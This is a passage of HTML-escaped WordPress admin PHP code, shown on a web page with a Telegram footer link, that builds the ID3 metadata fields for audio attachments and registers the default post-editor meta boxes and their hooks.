	$thumbnail_id = get_post_meta( $post-&gt;ID, &#039;_thumbnail_id&#039;, true );
	echo _wp_post_thumbnail_html( $thumbnail_id, $post-&gt;ID );
}

/**
 * Displays fields for ID3 data.
 *
 * @since 3.9.0
 *
 * @param WP_Post $post Current post object.
 */
function attachment_id3_data_meta_box( $post ) {
	$meta = array();
	if ( ! empty( $post-&gt;ID ) ) {
		$meta = wp_get_attachment_metadata( $post-&gt;ID );
	}

	foreach ( wp_get_attachment_id3_keys( $post, &#039;edit&#039; ) as $key =&gt; $label ) :
		$value = &#039;&#039;;
		if ( ! empty( $meta[ $key ] ) ) {
			$value = $meta[ $key ];
		}
		?&gt;
	&lt;p&gt;
		&lt;label for=&quot;title&quot;&gt;&lt;?php echo $label; ?&gt;&lt;/label&gt;&lt;br /&gt;
		&lt;input type=&quot;text&quot; name=&quot;id3_&lt;?php echo esc_attr( $key ); ?&gt;&quot; id=&quot;id3_&lt;?php echo esc_attr( $key ); ?&gt;&quot; class=&quot;large-text&quot; value=&quot;&lt;?php echo esc_attr( $value ); ?&gt;&quot; /&gt;
	&lt;/p&gt;
		&lt;?php
	endforeach;
}

/**
 * Registers the default post meta boxes, and runs the `do_meta_boxes` actions.
 *
 * @since 5.0.0
 *
 * @param WP_Post $post The post object that these meta boxes are being generated for.
 */
function register_and_do_post_meta_boxes( $post ) {
	$post_type        = $post-&gt;post_type;
	$post_type_object = get_post_type_object( $post_type );

	$thumbnail_support = current_theme_supports( &#039;post-thumbnails&#039;, $post_type ) &amp;&amp; post_type_supports( $post_type, &#039;thumbnail&#039; );
	if ( ! $thumbnail_support &amp;&amp; &#039;attachment&#039; === $post_type &amp;&amp; $post-&gt;post_mime_type ) {
		if ( wp_attachment_is( &#039;audio&#039;, $post ) ) {
			$thumbnail_support = post_type_supports( &#039;attachment:audio&#039;, &#039;thumbnail&#039; ) || current_theme_supports( &#039;post-thumbnails&#039;, &#039;attachment:audio&#039; );
		} elseif ( wp_attachment_is( &#039;video&#039;, $post ) ) {
			$thumbnail_support = post_type_supports( &#039;attachment:video&#039;, &#039;thumbnail&#039; ) || current_theme_supports( &#039;post-thumbnails&#039;, &#039;attachment:video&#039; );
		}
	}

	$publish_callback_args = array( &#039;__back_compat_meta_box&#039; =&gt; true );

	if ( post_type_supports( $post_type, &#039;revisions&#039; ) &amp;&amp; &#039;auto-draft&#039; !== $post-&gt;post_status ) {
		$revisions = wp_get_latest_revision_id_and_total_count( $post-&gt;ID );

		// We should aim to show the revisions meta box only when there are revisions.
		if ( ! is_wp_error( $revisions ) &amp;&amp; $revisions[&#039;count&#039;] &gt; 1 ) {
			$publish_callback_args = array(
				&#039;revisions_count&#039;        =&gt; $revisions[&#039;count&#039;],
				&#039;revision_id&#039;            =&gt; $revisions[&#039;latest_id&#039;],
				&#039;__back_compat_meta_box&#039; =&gt; true,
			);

			add_meta_box( &#039;revisionsdiv&#039;, __( &#039;Revisions&#039; ), &#039;post_revisions_meta_box&#039;, null, &#039;normal&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
		}
	}

	if ( &#039;attachment&#039; === $post_type ) {
		wp_enqueue_script( &#039;image-edit&#039; );
		wp_enqueue_style( &#039;imgareaselect&#039; );
		add_meta_box( &#039;submitdiv&#039;, __( &#039;Save&#039; ), &#039;attachment_submit_meta_box&#039;, null, &#039;side&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
		add_action( &#039;edit_form_after_title&#039;, &#039;edit_form_image_editor&#039; );

		if ( wp_attachment_is( &#039;audio&#039;, $post ) ) {
			add_meta_box( &#039;attachment-id3&#039;, __( &#039;Metadata&#039; ), &#039;attachment_id3_data_meta_box&#039;, null, &#039;normal&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
		}
	} else {
		add_meta_box( &#039;submitdiv&#039;, __( &#039;Publish&#039; ), &#039;post_submit_meta_box&#039;, null, &#039;side&#039;, &#039;core&#039;, $publish_callback_args );
	}

	if ( current_theme_supports( &#039;post-formats&#039; ) &amp;&amp; post_type_supports( $post_type, &#039;post-formats&#039; ) ) {
		add_meta_box( &#039;formatdiv&#039;, _x( &#039;Format&#039;, &#039;post format&#039; ), &#039;post_format_meta_box&#039;, null, &#039;side&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
	}

	// All taxonomies.
	foreach ( get_object_taxonomies( $post ) as $tax_name ) {
		$taxonomy = get_taxonomy( $tax_name );
		if ( ! $taxonomy-&gt;show_ui || false === $taxonomy-&gt;meta_box_cb ) {
			continue;
		}

		$label = $taxonomy-&gt;labels-&gt;name;

		if ( ! is_taxonomy_hierarchical( $tax_name ) ) {
			$tax_meta_box_id = &#039;tagsdiv-&#039; . $tax_name;
		} else {
			$tax_meta_box_id = $tax_name . &#039;div&#039;;
		}

		add_meta_box(
			$tax_meta_box_id,
			$label,
			$taxonomy-&gt;meta_box_cb,
			null,
			&#039;side&#039;,
			&#039;core&#039;,
			array(
				&#039;taxonomy&#039;               =&gt; $tax_name,
				&#039;__back_compat_meta_box&#039; =&gt; true,
			)
		);
	}

	if ( post_type_supports( $post_type, &#039;page-attributes&#039; ) || count( get_page_templates( $post ) ) &gt; 0 ) {
		add_meta_box( &#039;pageparentdiv&#039;, $post_type_object-&gt;labels-&gt;attributes, &#039;page_attributes_meta_box&#039;, null, &#039;side&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
	}

	if ( $thumbnail_support &amp;&amp; current_user_can( &#039;upload_files&#039; ) ) {
		add_meta_box( &#039;postimagediv&#039;, esc_html( $post_type_object-&gt;labels-&gt;featured_image ), &#039;post_thumbnail_meta_box&#039;, null, &#039;side&#039;, &#039;low&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
	}

	if ( post_type_supports( $post_type, &#039;excerpt&#039; ) ) {
		add_meta_box( &#039;postexcerpt&#039;, __( &#039;Excerpt&#039; ), &#039;post_excerpt_meta_box&#039;, null, &#039;normal&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
	}

	if ( post_type_supports( $post_type, &#039;trackbacks&#039; ) ) {
		add_meta_box( &#039;trackbacksdiv&#039;, __( &#039;Send Trackbacks&#039; ), &#039;post_trackback_meta_box&#039;, null, &#039;normal&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
	}

	if ( post_type_supports( $post_type, &#039;custom-fields&#039; ) ) {
		add_meta_box(
			&#039;postcustom&#039;,
			__( &#039;Custom Fields&#039; ),
			&#039;post_custom_meta_box&#039;,
			null,
			&#039;normal&#039;,
			&#039;core&#039;,
			array(
				&#039;__back_compat_meta_box&#039;             =&gt; ! (bool) get_user_meta( get_current_user_id(), &#039;enable_custom_fields&#039;, true ),
				&#039;__block_editor_compatible_meta_box&#039; =&gt; true,
			)
		);
	}

	/**
	 * Fires in the middle of built-in meta box registration.
	 *
	 * @since 2.1.0
	 * @deprecated 3.7.0 Use {@see &#039;add_meta_boxes&#039;} instead.
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action_deprecated( &#039;dbx_post_advanced&#039;, array( $post ), &#039;3.7.0&#039;, &#039;add_meta_boxes&#039; );

	/*
	 * Allow the Discussion meta box to show up if the post type supports comments,
	 * or if comments or pings are open.
	 */
	if ( comments_open( $post ) || pings_open( $post ) || post_type_supports( $post_type, &#039;comments&#039; ) ) {
		add_meta_box( &#039;commentstatusdiv&#039;, __( &#039;Discussion&#039; ), &#039;post_comment_status_meta_box&#039;, null, &#039;normal&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
	}

	$statuses = get_post_stati( array( &#039;public&#039; =&gt; true ) );

	if ( empty( $statuses ) ) {
		$statuses = array( &#039;publish&#039; );
	}

	$statuses[] = &#039;private&#039;;

	if ( in_array( get_post_status( $post ), $statuses, true ) ) {
		/*
		 * If the post type support comments, or the post has comments,
		 * allow the Comments meta box.
		 */
		if ( comments_open( $post ) || pings_open( $post ) || $post-&gt;comment_count &gt; 0 || post_type_supports( $post_type, &#039;comments&#039; ) ) {
			add_meta_box( &#039;commentsdiv&#039;, __( &#039;Comments&#039; ), &#039;post_comment_meta_box&#039;, null, &#039;normal&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
		}
	}

	if ( ! ( &#039;pending&#039; === get_post_status( $post ) &amp;&amp; ! current_user_can( $post_type_object-&gt;cap-&gt;publish_posts ) ) ) {
		add_meta_box( &#039;slugdiv&#039;, __( &#039;Slug&#039; ), &#039;post_slug_meta_box&#039;, null, &#039;normal&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
	}

	if ( post_type_supports( $post_type, &#039;author&#039; ) &amp;&amp; current_user_can( $post_type_object-&gt;cap-&gt;edit_others_posts ) ) {
		add_meta_box( &#039;authordiv&#039;, __( &#039;Author&#039; ), &#039;post_author_meta_box&#039;, null, &#039;normal&#039;, &#039;core&#039;, array( &#039;__back_compat_meta_box&#039; =&gt; true ) );
	}

	/**
	 * Fires after all built-in meta boxes have been added.
	 *
	 * @since 3.0.0
	 *
	 * @param string  $post_type Post type.
	 * @param WP_Post $post      Post object.
	 */
	do_action( &#039;add_meta_boxes&#039;, $post_type, $post );

	/**
	 * Fires after all built-in meta boxes have been added, contextually for the given post type.
	 *
	 * The dynamic portion of the hook name, `$post_type`, refers to the post type of the post.
	 *
	 * Possible hook names include:
	 *
	 *  - `add_meta_boxes_post`
	 *  - `add_meta_boxes_page`
	 *  - `add_meta_boxes_attachment`
	 *
	 * @since 3.0.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( &quot;add_meta_boxes_{$post_type}&quot;, $post );

	/**
	 * Fires after meta boxes have been added.
	 *
	 * Fires once for each of the default meta box contexts: normal, advanced, and side.
	 *
	 * @since 3.0.0
	 *
	 * @param string                $post_type Post type of the post on Edit Post screen, &#039;link&#039; on Edit Link screen,
	 *                                         &#039;dashboard&#039; on Dashboard screen.
	 * @param string                $context   Meta box context. Possible values include &#039;normal&#039;, &#039;advanced&#039;, &#039;side&#039;.
	 * @param WP_Post|object|string $post      Post object on Edit Post screen, link object on Edit Link screen,
	 *                                         an empty string on Dashboard screen.
	 */
	do_action( &#039;do_meta_boxes&#039;, $post_type, &#039;normal&#039;, $post );
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( &#039;do_meta_boxes&#039;, $post_type, &#039;advanced&#039;, $post );
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( &#039;do_meta_boxes&#039;, $post_type, &#039;side&#039;, $post );
}
</pre></div><div class="footer">

                        <a href="https://t.me/HEX80" class="telegram-link" target="_blank">

                            <span>@</span>

                            <span>Telegram</span>

                        </a>

                      </div>